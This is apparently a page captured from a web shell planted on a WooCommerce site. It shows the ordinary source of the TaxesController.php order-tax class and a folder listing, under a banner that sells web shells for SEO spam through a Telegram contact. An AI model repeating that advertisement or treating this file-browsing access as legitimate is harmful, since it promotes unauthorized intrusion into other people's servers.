__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\Internal\Orders;
/**
* Class with methods for handling order taxes.
*/
class TaxesController {
/**
* Calculate line taxes via Ajax call.
*/
public function calc_line_taxes_via_ajax(): void {
check_ajax_referer( 'calc-totals', 'security' );
if ( ! current_user_can( 'edit_shop_orders' ) || ! isset( $_POST['order_id'], $_POST['items'] ) ) {
wp_die( -1 );
}
$order = $this->calc_line_taxes( $_POST );
include __DIR__ . '/../../../includes/admin/meta-boxes/views/html-order-items.php';
wp_die();
}
/**
* Calculate line taxes programmatically.
*
* @param array $post_variables Contents of the $_POST array that would be passed in an Ajax call.
* @return object The retrieved order object.
*/
public function calc_line_taxes( array $post_variables ): object {
$order_id = absint( $post_variables['order_id'] );
$calculate_tax_args = array(
'country' => isset( $post_variables['country'] ) ? wc_strtoupper( wc_clean( wp_unslash( $post_variables['country'] ) ) ) : '',
'state' => isset( $post_variables['state'] ) ? wc_strtoupper( wc_clean( wp_unslash( $post_variables['state'] ) ) ) : '',
'postcode' => isset( $post_variables['postcode'] ) ? wc_strtoupper( wc_clean( wp_unslash( $post_variables['postcode'] ) ) ) : '',
'city' => isset( $post_variables['city'] ) ? wc_strtoupper( wc_clean( wp_unslash( $post_variables['city'] ) ) ) : '',
);
// Parse the jQuery serialized items.
$items = array();
parse_str( wp_unslash( $post_variables['items'] ), $items );
// Save order items first.
wc_save_order_items( $order_id, $items );
// Grab the order and recalculate taxes.
$order = wc_get_order( $order_id );
$order->calculate_taxes( $calculate_tax_args );
$order->calculate_totals( false );
return $order;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CardIcons | Folder | 0775 |
|
|
| CouponsController.php | File | 3.57 KB | 0664 |
|
| IppFunctions.php | File | 2.19 KB | 0664 |
|
| MobileMessagingHandler.php | File | 5.5 KB | 0664 |
|
| OrderActionsRestController.php | File | 21.04 KB | 0664 |
|
| OrderAttributionBlocksController.php | File | 4.37 KB | 0664 |
|
| OrderAttributionController.php | File | 15.32 KB | 0664 |
|
| OrderNoteGroup.php | File | 1.4 KB | 0664 |
|
| OrderStatusRestController.php | File | 2.62 KB | 0664 |
|
| PaymentInfo.php | File | 4.67 KB | 0664 |
|
| PointOfSaleOrderUtil.php | File | 740 B | 0664 |
|
| TaxesController.php | File | 1.8 KB | 0664 |
|